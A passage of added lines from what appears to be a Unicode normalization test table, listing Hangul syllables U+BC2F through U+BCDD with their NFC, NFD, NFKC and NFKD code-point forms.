+{ source: [0xBC2F], NFC: [0xBC2F], NFD: [0x1107, 0x1161, 0x11C2], NFKC: [0xBC2F], NFKD: [0x1107, 0x1161, 0x11C2] },
+{ source: [0xBC30], NFC: [0xBC30], NFD: [0x1107, 0x1162], NFKC: [0xBC30], NFKD: [0x1107, 0x1162] },
+{ source: [0xBC31], NFC: [0xBC31], NFD: [0x1107, 0x1162, 0x11A8], NFKC: [0xBC31], NFKD: [0x1107, 0x1162, 0x11A8] },
+{ source: [0xBC32], NFC: [0xBC32], NFD: [0x1107, 0x1162, 0x11A9], NFKC: [0xBC32], NFKD: [0x1107, 0x1162, 0x11A9] },
+{ source: [0xBC33], NFC: [0xBC33], NFD: [0x1107, 0x1162, 0x11AA], NFKC: [0xBC33], NFKD: [0x1107, 0x1162, 0x11AA] },
+{ source: [0xBC34], NFC: [0xBC34], NFD: [0x1107, 0x1162, 0x11AB], NFKC: [0xBC34], NFKD: [0x1107, 0x1162, 0x11AB] },
+{ source: [0xBC35], NFC: [0xBC35], NFD: [0x1107, 0x1162, 0x11AC], NFKC: [0xBC35], NFKD: [0x1107, 0x1162, 0x11AC] },
+{ source: [0xBC36], NFC: [0xBC36], NFD: [0x1107, 0x1162, 0x11AD], NFKC: [0xBC36], NFKD: [0x1107, 0x1162, 0x11AD] },
+{ source: [0xBC37], NFC: [0xBC37], NFD: [0x1107, 0x1162, 0x11AE], NFKC: [0xBC37], NFKD: [0x1107, 0x1162, 0x11AE] },
+{ source: [0xBC38], NFC: [0xBC38], NFD: [0x1107, 0x1162, 0x11AF], NFKC: [0xBC38], NFKD: [0x1107, 0x1162, 0x11AF] },
+{ source: [0xBC39], NFC: [0xBC39], NFD: [0x1107, 0x1162, 0x11B0], NFKC: [0xBC39], NFKD: [0x1107, 0x1162, 0x11B0] },
+{ source: [0xBC3A], NFC: [0xBC3A], NFD: [0x1107, 0x1162, 0x11B1], NFKC: [0xBC3A], NFKD: [0x1107, 0x1162, 0x11B1] },
+{ source: [0xBC3B], NFC: [0xBC3B], NFD: [0x1107, 0x1162, 0x11B2], NFKC: [0xBC3B], NFKD: [0x1107, 0x1162, 0x11B2] },
+{ source: [0xBC3C], NFC: [0xBC3C], NFD: [0x1107, 0x1162, 0x11B3], NFKC: [0xBC3C], NFKD: [0x1107, 0x1162, 0x11B3] },
+{ source: [0xBC3D], NFC: [0xBC3D], NFD: [0x1107, 0x1162, 0x11B4], NFKC: [0xBC3D], NFKD: [0x1107, 0x1162, 0x11B4] },
+{ source: [0xBC3E], NFC: [0xBC3E], NFD: [0x1107, 0x1162, 0x11B5], NFKC: [0xBC3E], NFKD: [0x1107, 0x1162, 0x11B5] },
+{ source: [0xBC3F], NFC: [0xBC3F], NFD: [0x1107, 0x1162, 0x11B6], NFKC: [0xBC3F], NFKD: [0x1107, 0x1162, 0x11B6] },
+{ source: [0xBC40], NFC: [0xBC40], NFD: [0x1107, 0x1162, 0x11B7], NFKC: [0xBC40], NFKD: [0x1107, 0x1162, 0x11B7] },
+{ source: [0xBC41], NFC: [0xBC41], NFD: [0x1107, 0x1162, 0x11B8], NFKC: [0xBC41], NFKD: [0x1107, 0x1162, 0x11B8] },
+{ source: [0xBC42], NFC: [0xBC42], NFD: [0x1107, 0x1162, 0x11B9], NFKC: [0xBC42], NFKD: [0x1107, 0x1162, 0x11B9] },
+{ source: [0xBC43], NFC: [0xBC43], NFD: [0x1107, 0x1162, 0x11BA], NFKC: [0xBC43], NFKD: [0x1107, 0x1162, 0x11BA] },
+{ source: [0xBC44], NFC: [0xBC44], NFD: [0x1107, 0x1162, 0x11BB], NFKC: [0xBC44], NFKD: [0x1107, 0x1162, 0x11BB] },
+{ source: [0xBC45], NFC: [0xBC45], NFD: [0x1107, 0x1162, 0x11BC], NFKC: [0xBC45], NFKD: [0x1107, 0x1162, 0x11BC] },
+{ source: [0xBC46], NFC: [0xBC46], NFD: [0x1107, 0x1162, 0x11BD], NFKC: [0xBC46], NFKD: [0x1107, 0x1162, 0x11BD] },
+{ source: [0xBC47], NFC: [0xBC47], NFD: [0x1107, 0x1162, 0x11BE], NFKC: [0xBC47], NFKD: [0x1107, 0x1162, 0x11BE] },
+{ source: [0xBC48], NFC: [0xBC48], NFD: [0x1107, 0x1162, 0x11BF], NFKC: [0xBC48], NFKD: [0x1107, 0x1162, 0x11BF] },
+{ source: [0xBC49], NFC: [0xBC49], NFD: [0x1107, 0x1162, 0x11C0], NFKC: [0xBC49], NFKD: [0x1107, 0x1162, 0x11C0] },
+{ source: [0xBC4A], NFC: [0xBC4A], NFD: [0x1107, 0x1162, 0x11C1], NFKC: [0xBC4A], NFKD: [0x1107, 0x1162, 0x11C1] },
+{ source: [0xBC4B], NFC: [0xBC4B], NFD: [0x1107, 0x1162, 0x11C2], NFKC: [0xBC4B], NFKD: [0x1107, 0x1162, 0x11C2] },
+{ source: [0xBC4C], NFC: [0xBC4C], NFD: [0x1107, 0x1163], NFKC: [0xBC4C], NFKD: [0x1107, 0x1163] },
+{ source: [0xBC4D], NFC: [0xBC4D], NFD: [0x1107, 0x1163, 0x11A8], NFKC: [0xBC4D], NFKD: [0x1107, 0x1163, 0x11A8] },
+{ source: [0xBC4E], NFC: [0xBC4E], NFD: [0x1107, 0x1163, 0x11A9], NFKC: [0xBC4E], NFKD: [0x1107, 0x1163, 0x11A9] },
+{ source: [0xBC4F], NFC: [0xBC4F], NFD: [0x1107, 0x1163, 0x11AA], NFKC: [0xBC4F], NFKD: [0x1107, 0x1163, 0x11AA] },
+{ source: [0xBC50], NFC: [0xBC50], NFD: [0x1107, 0x1163, 0x11AB], NFKC: [0xBC50], NFKD: [0x1107, 0x1163, 0x11AB] },
+{ source: [0xBC51], NFC: [0xBC51], NFD: [0x1107, 0x1163, 0x11AC], NFKC: [0xBC51], NFKD: [0x1107, 0x1163, 0x11AC] },
+{ source: [0xBC52], NFC: [0xBC52], NFD: [0x1107, 0x1163, 0x11AD], NFKC: [0xBC52], NFKD: [0x1107, 0x1163, 0x11AD] },
+{ source: [0xBC53], NFC: [0xBC53], NFD: [0x1107, 0x1163, 0x11AE], NFKC: [0xBC53], NFKD: [0x1107, 0x1163, 0x11AE] },
+{ source: [0xBC54], NFC: [0xBC54], NFD: [0x1107, 0x1163, 0x11AF], NFKC: [0xBC54], NFKD: [0x1107, 0x1163, 0x11AF] },
+{ source: [0xBC55], NFC: [0xBC55], NFD: [0x1107, 0x1163, 0x11B0], NFKC: [0xBC55], NFKD: [0x1107, 0x1163, 0x11B0] },
+{ source: [0xBC56], NFC: [0xBC56], NFD: [0x1107, 0x1163, 0x11B1], NFKC: [0xBC56], NFKD: [0x1107, 0x1163, 0x11B1] },
+{ source: [0xBC57], NFC: [0xBC57], NFD: [0x1107, 0x1163, 0x11B2], NFKC: [0xBC57], NFKD: [0x1107, 0x1163, 0x11B2] },
+{ source: [0xBC58], NFC: [0xBC58], NFD: [0x1107, 0x1163, 0x11B3], NFKC: [0xBC58], NFKD: [0x1107, 0x1163, 0x11B3] },
+{ source: [0xBC59], NFC: [0xBC59], NFD: [0x1107, 0x1163, 0x11B4], NFKC: [0xBC59], NFKD: [0x1107, 0x1163, 0x11B4] },
+{ source: [0xBC5A], NFC: [0xBC5A], NFD: [0x1107, 0x1163, 0x11B5], NFKC: [0xBC5A], NFKD: [0x1107, 0x1163, 0x11B5] },
+{ source: [0xBC5B], NFC: [0xBC5B], NFD: [0x1107, 0x1163, 0x11B6], NFKC: [0xBC5B], NFKD: [0x1107, 0x1163, 0x11B6] },
+{ source: [0xBC5C], NFC: [0xBC5C], NFD: [0x1107, 0x1163, 0x11B7], NFKC: [0xBC5C], NFKD: [0x1107, 0x1163, 0x11B7] },
+{ source: [0xBC5D], NFC: [0xBC5D], NFD: [0x1107, 0x1163, 0x11B8], NFKC: [0xBC5D], NFKD: [0x1107, 0x1163, 0x11B8] },
+{ source: [0xBC5E], NFC: [0xBC5E], NFD: [0x1107, 0x1163, 0x11B9], NFKC: [0xBC5E], NFKD: [0x1107, 0x1163, 0x11B9] },
+{ source: [0xBC5F], NFC: [0xBC5F], NFD: [0x1107, 0x1163, 0x11BA], NFKC: [0xBC5F], NFKD: [0x1107, 0x1163, 0x11BA] },
+{ source: [0xBC60], NFC: [0xBC60], NFD: [0x1107, 0x1163, 0x11BB], NFKC: [0xBC60], NFKD: [0x1107, 0x1163, 0x11BB] },
+{ source: [0xBC61], NFC: [0xBC61], NFD: [0x1107, 0x1163, 0x11BC], NFKC: [0xBC61], NFKD: [0x1107, 0x1163, 0x11BC] },
+{ source: [0xBC62], NFC: [0xBC62], NFD: [0x1107, 0x1163, 0x11BD], NFKC: [0xBC62], NFKD: [0x1107, 0x1163, 0x11BD] },
+{ source: [0xBC63], NFC: [0xBC63], NFD: [0x1107, 0x1163, 0x11BE], NFKC: [0xBC63], NFKD: [0x1107, 0x1163, 0x11BE] },
+{ source: [0xBC64], NFC: [0xBC64], NFD: [0x1107, 0x1163, 0x11BF], NFKC: [0xBC64], NFKD: [0x1107, 0x1163, 0x11BF] },
+{ source: [0xBC65], NFC: [0xBC65], NFD: [0x1107, 0x1163, 0x11C0], NFKC: [0xBC65], NFKD: [0x1107, 0x1163, 0x11C0] },
+{ source: [0xBC66], NFC: [0xBC66], NFD: [0x1107, 0x1163, 0x11C1], NFKC: [0xBC66], NFKD: [0x1107, 0x1163, 0x11C1] },
+{ source: [0xBC67], NFC: [0xBC67], NFD: [0x1107, 0x1163, 0x11C2], NFKC: [0xBC67], NFKD: [0x1107, 0x1163, 0x11C2] },
+{ source: [0xBC68], NFC: [0xBC68], NFD: [0x1107, 0x1164], NFKC: [0xBC68], NFKD: [0x1107, 0x1164] },
+{ source: [0xBC69], NFC: [0xBC69], NFD: [0x1107, 0x1164, 0x11A8], NFKC: [0xBC69], NFKD: [0x1107, 0x1164, 0x11A8] },
+{ source: [0xBC6A], NFC: [0xBC6A], NFD: [0x1107, 0x1164, 0x11A9], NFKC: [0xBC6A], NFKD: [0x1107, 0x1164, 0x11A9] },
+{ source: [0xBC6B], NFC: [0xBC6B], NFD: [0x1107, 0x1164, 0x11AA], NFKC: [0xBC6B], NFKD: [0x1107, 0x1164, 0x11AA] },
+{ source: [0xBC6C], NFC: [0xBC6C], NFD: [0x1107, 0x1164, 0x11AB], NFKC: [0xBC6C], NFKD: [0x1107, 0x1164, 0x11AB] },
+{ source: [0xBC6D], NFC: [0xBC6D], NFD: [0x1107, 0x1164, 0x11AC], NFKC: [0xBC6D], NFKD: [0x1107, 0x1164, 0x11AC] },
+{ source: [0xBC6E], NFC: [0xBC6E], NFD: [0x1107, 0x1164, 0x11AD], NFKC: [0xBC6E], NFKD: [0x1107, 0x1164, 0x11AD] },
+{ source: [0xBC6F], NFC: [0xBC6F], NFD: [0x1107, 0x1164, 0x11AE], NFKC: [0xBC6F], NFKD: [0x1107, 0x1164, 0x11AE] },
+{ source: [0xBC70], NFC: [0xBC70], NFD: [0x1107, 0x1164, 0x11AF], NFKC: [0xBC70], NFKD: [0x1107, 0x1164, 0x11AF] },
+{ source: [0xBC71], NFC: [0xBC71], NFD: [0x1107, 0x1164, 0x11B0], NFKC: [0xBC71], NFKD: [0x1107, 0x1164, 0x11B0] },
+{ source: [0xBC72], NFC: [0xBC72], NFD: [0x1107, 0x1164, 0x11B1], NFKC: [0xBC72], NFKD: [0x1107, 0x1164, 0x11B1] },
+{ source: [0xBC73], NFC: [0xBC73], NFD: [0x1107, 0x1164, 0x11B2], NFKC: [0xBC73], NFKD: [0x1107, 0x1164, 0x11B2] },
+{ source: [0xBC74], NFC: [0xBC74], NFD: [0x1107, 0x1164, 0x11B3], NFKC: [0xBC74], NFKD: [0x1107, 0x1164, 0x11B3] },
+{ source: [0xBC75], NFC: [0xBC75], NFD: [0x1107, 0x1164, 0x11B4], NFKC: [0xBC75], NFKD: [0x1107, 0x1164, 0x11B4] },
+{ source: [0xBC76], NFC: [0xBC76], NFD: [0x1107, 0x1164, 0x11B5], NFKC: [0xBC76], NFKD: [0x1107, 0x1164, 0x11B5] },
+{ source: [0xBC77], NFC: [0xBC77], NFD: [0x1107, 0x1164, 0x11B6], NFKC: [0xBC77], NFKD: [0x1107, 0x1164, 0x11B6] },
+{ source: [0xBC78], NFC: [0xBC78], NFD: [0x1107, 0x1164, 0x11B7], NFKC: [0xBC78], NFKD: [0x1107, 0x1164, 0x11B7] },
+{ source: [0xBC79], NFC: [0xBC79], NFD: [0x1107, 0x1164, 0x11B8], NFKC: [0xBC79], NFKD: [0x1107, 0x1164, 0x11B8] },
+{ source: [0xBC7A], NFC: [0xBC7A], NFD: [0x1107, 0x1164, 0x11B9], NFKC: [0xBC7A], NFKD: [0x1107, 0x1164, 0x11B9] },
+{ source: [0xBC7B], NFC: [0xBC7B], NFD: [0x1107, 0x1164, 0x11BA], NFKC: [0xBC7B], NFKD: [0x1107, 0x1164, 0x11BA] },
+{ source: [0xBC7C], NFC: [0xBC7C], NFD: [0x1107, 0x1164, 0x11BB], NFKC: [0xBC7C], NFKD: [0x1107, 0x1164, 0x11BB] },
+{ source: [0xBC7D], NFC: [0xBC7D], NFD: [0x1107, 0x1164, 0x11BC], NFKC: [0xBC7D], NFKD: [0x1107, 0x1164, 0x11BC] },
+{ source: [0xBC7E], NFC: [0xBC7E], NFD: [0x1107, 0x1164, 0x11BD], NFKC: [0xBC7E], NFKD: [0x1107, 0x1164, 0x11BD] },
+{ source: [0xBC7F], NFC: [0xBC7F], NFD: [0x1107, 0x1164, 0x11BE], NFKC: [0xBC7F], NFKD: [0x1107, 0x1164, 0x11BE] },
+{ source: [0xBC80], NFC: [0xBC80], NFD: [0x1107, 0x1164, 0x11BF], NFKC: [0xBC80], NFKD: [0x1107, 0x1164, 0x11BF] },
+{ source: [0xBC81], NFC: [0xBC81], NFD: [0x1107, 0x1164, 0x11C0], NFKC: [0xBC81], NFKD: [0x1107, 0x1164, 0x11C0] },
+{ source: [0xBC82], NFC: [0xBC82], NFD: [0x1107, 0x1164, 0x11C1], NFKC: [0xBC82], NFKD: [0x1107, 0x1164, 0x11C1] },
+{ source: [0xBC83], NFC: [0xBC83], NFD: [0x1107, 0x1164, 0x11C2], NFKC: [0xBC83], NFKD: [0x1107, 0x1164, 0x11C2] },
+{ source: [0xBC84], NFC: [0xBC84], NFD: [0x1107, 0x1165], NFKC: [0xBC84], NFKD: [0x1107, 0x1165] },
+{ source: [0xBC85], NFC: [0xBC85], NFD: [0x1107, 0x1165, 0x11A8], NFKC: [0xBC85], NFKD: [0x1107, 0x1165, 0x11A8] },
+{ source: [0xBC86], NFC: [0xBC86], NFD: [0x1107, 0x1165, 0x11A9], NFKC: [0xBC86], NFKD: [0x1107, 0x1165, 0x11A9] },
+{ source: [0xBC87], NFC: [0xBC87], NFD: [0x1107, 0x1165, 0x11AA], NFKC: [0xBC87], NFKD: [0x1107, 0x1165, 0x11AA] },
+{ source: [0xBC88], NFC: [0xBC88], NFD: [0x1107, 0x1165, 0x11AB], NFKC: [0xBC88], NFKD: [0x1107, 0x1165, 0x11AB] },
+{ source: [0xBC89], NFC: [0xBC89], NFD: [0x1107, 0x1165, 0x11AC], NFKC: [0xBC89], NFKD: [0x1107, 0x1165, 0x11AC] },
+{ source: [0xBC8A], NFC: [0xBC8A], NFD: [0x1107, 0x1165, 0x11AD], NFKC: [0xBC8A], NFKD: [0x1107, 0x1165, 0x11AD] },
+{ source: [0xBC8B], NFC: [0xBC8B], NFD: [0x1107, 0x1165, 0x11AE], NFKC: [0xBC8B], NFKD: [0x1107, 0x1165, 0x11AE] },
+{ source: [0xBC8C], NFC: [0xBC8C], NFD: [0x1107, 0x1165, 0x11AF], NFKC: [0xBC8C], NFKD: [0x1107, 0x1165, 0x11AF] },
+{ source: [0xBC8D], NFC: [0xBC8D], NFD: [0x1107, 0x1165, 0x11B0], NFKC: [0xBC8D], NFKD: [0x1107, 0x1165, 0x11B0] },
+{ source: [0xBC8E], NFC: [0xBC8E], NFD: [0x1107, 0x1165, 0x11B1], NFKC: [0xBC8E], NFKD: [0x1107, 0x1165, 0x11B1] },
+{ source: [0xBC8F], NFC: [0xBC8F], NFD: [0x1107, 0x1165, 0x11B2], NFKC: [0xBC8F], NFKD: [0x1107, 0x1165, 0x11B2] },
+{ source: [0xBC90], NFC: [0xBC90], NFD: [0x1107, 0x1165, 0x11B3], NFKC: [0xBC90], NFKD: [0x1107, 0x1165, 0x11B3] },
+{ source: [0xBC91], NFC: [0xBC91], NFD: [0x1107, 0x1165, 0x11B4], NFKC: [0xBC91], NFKD: [0x1107, 0x1165, 0x11B4] },
+{ source: [0xBC92], NFC: [0xBC92], NFD: [0x1107, 0x1165, 0x11B5], NFKC: [0xBC92], NFKD: [0x1107, 0x1165, 0x11B5] },
+{ source: [0xBC93], NFC: [0xBC93], NFD: [0x1107, 0x1165, 0x11B6], NFKC: [0xBC93], NFKD: [0x1107, 0x1165, 0x11B6] },
+{ source: [0xBC94], NFC: [0xBC94], NFD: [0x1107, 0x1165, 0x11B7], NFKC: [0xBC94], NFKD: [0x1107, 0x1165, 0x11B7] },
+{ source: [0xBC95], NFC: [0xBC95], NFD: [0x1107, 0x1165, 0x11B8], NFKC: [0xBC95], NFKD: [0x1107, 0x1165, 0x11B8] },
+{ source: [0xBC96], NFC: [0xBC96], NFD: [0x1107, 0x1165, 0x11B9], NFKC: [0xBC96], NFKD: [0x1107, 0x1165, 0x11B9] },
+{ source: [0xBC97], NFC: [0xBC97], NFD: [0x1107, 0x1165, 0x11BA], NFKC: [0xBC97], NFKD: [0x1107, 0x1165, 0x11BA] },
+{ source: [0xBC98], NFC: [0xBC98], NFD: [0x1107, 0x1165, 0x11BB], NFKC: [0xBC98], NFKD: [0x1107, 0x1165, 0x11BB] },
+{ source: [0xBC99], NFC: [0xBC99], NFD: [0x1107, 0x1165, 0x11BC], NFKC: [0xBC99], NFKD: [0x1107, 0x1165, 0x11BC] },
+{ source: [0xBC9A], NFC: [0xBC9A], NFD: [0x1107, 0x1165, 0x11BD], NFKC: [0xBC9A], NFKD: [0x1107, 0x1165, 0x11BD] },
+{ source: [0xBC9B], NFC: [0xBC9B], NFD: [0x1107, 0x1165, 0x11BE], NFKC: [0xBC9B], NFKD: [0x1107, 0x1165, 0x11BE] },
+{ source: [0xBC9C], NFC: [0xBC9C], NFD: [0x1107, 0x1165, 0x11BF], NFKC: [0xBC9C], NFKD: [0x1107, 0x1165, 0x11BF] },
+{ source: [0xBC9D], NFC: [0xBC9D], NFD: [0x1107, 0x1165, 0x11C0], NFKC: [0xBC9D], NFKD: [0x1107, 0x1165, 0x11C0] },
+{ source: [0xBC9E], NFC: [0xBC9E], NFD: [0x1107, 0x1165, 0x11C1], NFKC: [0xBC9E], NFKD: [0x1107, 0x1165, 0x11C1] },
+{ source: [0xBC9F], NFC: [0xBC9F], NFD: [0x1107, 0x1165, 0x11C2], NFKC: [0xBC9F], NFKD: [0x1107, 0x1165, 0x11C2] },
+{ source: [0xBCA0], NFC: [0xBCA0], NFD: [0x1107, 0x1166], NFKC: [0xBCA0], NFKD: [0x1107, 0x1166] },
+{ source: [0xBCA1], NFC: [0xBCA1], NFD: [0x1107, 0x1166, 0x11A8], NFKC: [0xBCA1], NFKD: [0x1107, 0x1166, 0x11A8] },
+{ source: [0xBCA2], NFC: [0xBCA2], NFD: [0x1107, 0x1166, 0x11A9], NFKC: [0xBCA2], NFKD: [0x1107, 0x1166, 0x11A9] },
+{ source: [0xBCA3], NFC: [0xBCA3], NFD: [0x1107, 0x1166, 0x11AA], NFKC: [0xBCA3], NFKD: [0x1107, 0x1166, 0x11AA] },
+{ source: [0xBCA4], NFC: [0xBCA4], NFD: [0x1107, 0x1166, 0x11AB], NFKC: [0xBCA4], NFKD: [0x1107, 0x1166, 0x11AB] },
+{ source: [0xBCA5], NFC: [0xBCA5], NFD: [0x1107, 0x1166, 0x11AC], NFKC: [0xBCA5], NFKD: [0x1107, 0x1166, 0x11AC] },
+{ source: [0xBCA6], NFC: [0xBCA6], NFD: [0x1107, 0x1166, 0x11AD], NFKC: [0xBCA6], NFKD: [0x1107, 0x1166, 0x11AD] },
+{ source: [0xBCA7], NFC: [0xBCA7], NFD: [0x1107, 0x1166, 0x11AE], NFKC: [0xBCA7], NFKD: [0x1107, 0x1166, 0x11AE] },
+{ source: [0xBCA8], NFC: [0xBCA8], NFD: [0x1107, 0x1166, 0x11AF], NFKC: [0xBCA8], NFKD: [0x1107, 0x1166, 0x11AF] },
+{ source: [0xBCA9], NFC: [0xBCA9], NFD: [0x1107, 0x1166, 0x11B0], NFKC: [0xBCA9], NFKD: [0x1107, 0x1166, 0x11B0] },
+{ source: [0xBCAA], NFC: [0xBCAA], NFD: [0x1107, 0x1166, 0x11B1], NFKC: [0xBCAA], NFKD: [0x1107, 0x1166, 0x11B1] },
+{ source: [0xBCAB], NFC: [0xBCAB], NFD: [0x1107, 0x1166, 0x11B2], NFKC: [0xBCAB], NFKD: [0x1107, 0x1166, 0x11B2] },
+{ source: [0xBCAC], NFC: [0xBCAC], NFD: [0x1107, 0x1166, 0x11B3], NFKC: [0xBCAC], NFKD: [0x1107, 0x1166, 0x11B3] },
+{ source: [0xBCAD], NFC: [0xBCAD], NFD: [0x1107, 0x1166, 0x11B4], NFKC: [0xBCAD], NFKD: [0x1107, 0x1166, 0x11B4] },
+{ source: [0xBCAE], NFC: [0xBCAE], NFD: [0x1107, 0x1166, 0x11B5], NFKC: [0xBCAE], NFKD: [0x1107, 0x1166, 0x11B5] },
+{ source: [0xBCAF], NFC: [0xBCAF], NFD: [0x1107, 0x1166, 0x11B6], NFKC: [0xBCAF], NFKD: [0x1107, 0x1166, 0x11B6] },
+{ source: [0xBCB0], NFC: [0xBCB0], NFD: [0x1107, 0x1166, 0x11B7], NFKC: [0xBCB0], NFKD: [0x1107, 0x1166, 0x11B7] },
+{ source: [0xBCB1], NFC: [0xBCB1], NFD: [0x1107, 0x1166, 0x11B8], NFKC: [0xBCB1], NFKD: [0x1107, 0x1166, 0x11B8] },
+{ source: [0xBCB2], NFC: [0xBCB2], NFD: [0x1107, 0x1166, 0x11B9], NFKC: [0xBCB2], NFKD: [0x1107, 0x1166, 0x11B9] },
+{ source: [0xBCB3], NFC: [0xBCB3], NFD: [0x1107, 0x1166, 0x11BA], NFKC: [0xBCB3], NFKD: [0x1107, 0x1166, 0x11BA] },
+{ source: [0xBCB4], NFC: [0xBCB4], NFD: [0x1107, 0x1166, 0x11BB], NFKC: [0xBCB4], NFKD: [0x1107, 0x1166, 0x11BB] },
+{ source: [0xBCB5], NFC: [0xBCB5], NFD: [0x1107, 0x1166, 0x11BC], NFKC: [0xBCB5], NFKD: [0x1107, 0x1166, 0x11BC] },
+{ source: [0xBCB6], NFC: [0xBCB6], NFD: [0x1107, 0x1166, 0x11BD], NFKC: [0xBCB6], NFKD: [0x1107, 0x1166, 0x11BD] },
+{ source: [0xBCB7], NFC: [0xBCB7], NFD: [0x1107, 0x1166, 0x11BE], NFKC: [0xBCB7], NFKD: [0x1107, 0x1166, 0x11BE] },
+{ source: [0xBCB8], NFC: [0xBCB8], NFD: [0x1107, 0x1166, 0x11BF], NFKC: [0xBCB8], NFKD: [0x1107, 0x1166, 0x11BF] },
+{ source: [0xBCB9], NFC: [0xBCB9], NFD: [0x1107, 0x1166, 0x11C0], NFKC: [0xBCB9], NFKD: [0x1107, 0x1166, 0x11C0] },
+{ source: [0xBCBA], NFC: [0xBCBA], NFD: [0x1107, 0x1166, 0x11C1], NFKC: [0xBCBA], NFKD: [0x1107, 0x1166, 0x11C1] },
+{ source: [0xBCBB], NFC: [0xBCBB], NFD: [0x1107, 0x1166, 0x11C2], NFKC: [0xBCBB], NFKD: [0x1107, 0x1166, 0x11C2] },
+{ source: [0xBCBC], NFC: [0xBCBC], NFD: [0x1107, 0x1167], NFKC: [0xBCBC], NFKD: [0x1107, 0x1167] },
+{ source: [0xBCBD], NFC: [0xBCBD], NFD: [0x1107, 0x1167, 0x11A8], NFKC: [0xBCBD], NFKD: [0x1107, 0x1167, 0x11A8] },
+{ source: [0xBCBE], NFC: [0xBCBE], NFD: [0x1107, 0x1167, 0x11A9], NFKC: [0xBCBE], NFKD: [0x1107, 0x1167, 0x11A9] },
+{ source: [0xBCBF], NFC: [0xBCBF], NFD: [0x1107, 0x1167, 0x11AA], NFKC: [0xBCBF], NFKD: [0x1107, 0x1167, 0x11AA] },
+{ source: [0xBCC0], NFC: [0xBCC0], NFD: [0x1107, 0x1167, 0x11AB], NFKC: [0xBCC0], NFKD: [0x1107, 0x1167, 0x11AB] },
+{ source: [0xBCC1], NFC: [0xBCC1], NFD: [0x1107, 0x1167, 0x11AC], NFKC: [0xBCC1], NFKD: [0x1107, 0x1167, 0x11AC] },
+{ source: [0xBCC2], NFC: [0xBCC2], NFD: [0x1107, 0x1167, 0x11AD], NFKC: [0xBCC2], NFKD: [0x1107, 0x1167, 0x11AD] },
+{ source: [0xBCC3], NFC: [0xBCC3], NFD: [0x1107, 0x1167, 0x11AE], NFKC: [0xBCC3], NFKD: [0x1107, 0x1167, 0x11AE] },
+{ source: [0xBCC4], NFC: [0xBCC4], NFD: [0x1107, 0x1167, 0x11AF], NFKC: [0xBCC4], NFKD: [0x1107, 0x1167, 0x11AF] },
+{ source: [0xBCC5], NFC: [0xBCC5], NFD: [0x1107, 0x1167, 0x11B0], NFKC: [0xBCC5], NFKD: [0x1107, 0x1167, 0x11B0] },
+{ source: [0xBCC6], NFC: [0xBCC6], NFD: [0x1107, 0x1167, 0x11B1], NFKC: [0xBCC6], NFKD: [0x1107, 0x1167, 0x11B1] },
+{ source: [0xBCC7], NFC: [0xBCC7], NFD: [0x1107, 0x1167, 0x11B2], NFKC: [0xBCC7], NFKD: [0x1107, 0x1167, 0x11B2] },
+{ source: [0xBCC8], NFC: [0xBCC8], NFD: [0x1107, 0x1167, 0x11B3], NFKC: [0xBCC8], NFKD: [0x1107, 0x1167, 0x11B3] },
+{ source: [0xBCC9], NFC: [0xBCC9], NFD: [0x1107, 0x1167, 0x11B4], NFKC: [0xBCC9], NFKD: [0x1107, 0x1167, 0x11B4] },
+{ source: [0xBCCA], NFC: [0xBCCA], NFD: [0x1107, 0x1167, 0x11B5], NFKC: [0xBCCA], NFKD: [0x1107, 0x1167, 0x11B5] },
+{ source: [0xBCCB], NFC: [0xBCCB], NFD: [0x1107, 0x1167, 0x11B6], NFKC: [0xBCCB], NFKD: [0x1107, 0x1167, 0x11B6] },
+{ source: [0xBCCC], NFC: [0xBCCC], NFD: [0x1107, 0x1167, 0x11B7], NFKC: [0xBCCC], NFKD: [0x1107, 0x1167, 0x11B7] },
+{ source: [0xBCCD], NFC: [0xBCCD], NFD: [0x1107, 0x1167, 0x11B8], NFKC: [0xBCCD], NFKD: [0x1107, 0x1167, 0x11B8] },
+{ source: [0xBCCE], NFC: [0xBCCE], NFD: [0x1107, 0x1167, 0x11B9], NFKC: [0xBCCE], NFKD: [0x1107, 0x1167, 0x11B9] },
+{ source: [0xBCCF], NFC: [0xBCCF], NFD: [0x1107, 0x1167, 0x11BA], NFKC: [0xBCCF], NFKD: [0x1107, 0x1167, 0x11BA] },
+{ source: [0xBCD0], NFC: [0xBCD0], NFD: [0x1107, 0x1167, 0x11BB], NFKC: [0xBCD0], NFKD: [0x1107, 0x1167, 0x11BB] },
+{ source: [0xBCD1], NFC: [0xBCD1], NFD: [0x1107, 0x1167, 0x11BC], NFKC: [0xBCD1], NFKD: [0x1107, 0x1167, 0x11BC] },
+{ source: [0xBCD2], NFC: [0xBCD2], NFD: [0x1107, 0x1167, 0x11BD], NFKC: [0xBCD2], NFKD: [0x1107, 0x1167, 0x11BD] },
+{ source: [0xBCD3], NFC: [0xBCD3], NFD: [0x1107, 0x1167, 0x11BE], NFKC: [0xBCD3], NFKD: [0x1107, 0x1167, 0x11BE] },
+{ source: [0xBCD4], NFC: [0xBCD4], NFD: [0x1107, 0x1167, 0x11BF], NFKC: [0xBCD4], NFKD: [0x1107, 0x1167, 0x11BF] },
+{ source: [0xBCD5], NFC: [0xBCD5], NFD: [0x1107, 0x1167, 0x11C0], NFKC: [0xBCD5], NFKD: [0x1107, 0x1167, 0x11C0] },
+{ source: [0xBCD6], NFC: [0xBCD6], NFD: [0x1107, 0x1167, 0x11C1], NFKC: [0xBCD6], NFKD: [0x1107, 0x1167, 0x11C1] },
+{ source: [0xBCD7], NFC: [0xBCD7], NFD: [0x1107, 0x1167, 0x11C2], NFKC: [0xBCD7], NFKD: [0x1107, 0x1167, 0x11C2] },
+{ source: [0xBCD8], NFC: [0xBCD8], NFD: [0x1107, 0x1168], NFKC: [0xBCD8], NFKD: [0x1107, 0x1168] },
+{ source: [0xBCD9], NFC: [0xBCD9], NFD: [0x1107, 0x1168, 0x11A8], NFKC: [0xBCD9], NFKD: [0x1107, 0x1168, 0x11A8] },
+{ source: [0xBCDA], NFC: [0xBCDA], NFD: [0x1107, 0x1168, 0x11A9], NFKC: [0xBCDA], NFKD: [0x1107, 0x1168, 0x11A9] },
+{ source: [0xBCDB], NFC: [0xBCDB], NFD: [0x1107, 0x1168, 0x11AA], NFKC: [0xBCDB], NFKD: [0x1107, 0x1168, 0x11AA] },
+{ source: [0xBCDC], NFC: [0xBCDC], NFD: [0x1107, 0x1168, 0x11AB], NFKC: [0xBCDC], NFKD: [0x1107, 0x1168, 0x11AB] },
+{ source: [0xBCDD], NFC: [0xBCDD], NFD: [0x1107, 0x1168, 0x11AC], NFKC: [0xBCDD], NFKD: [0x1107, 0x1168, 0x11AC] },
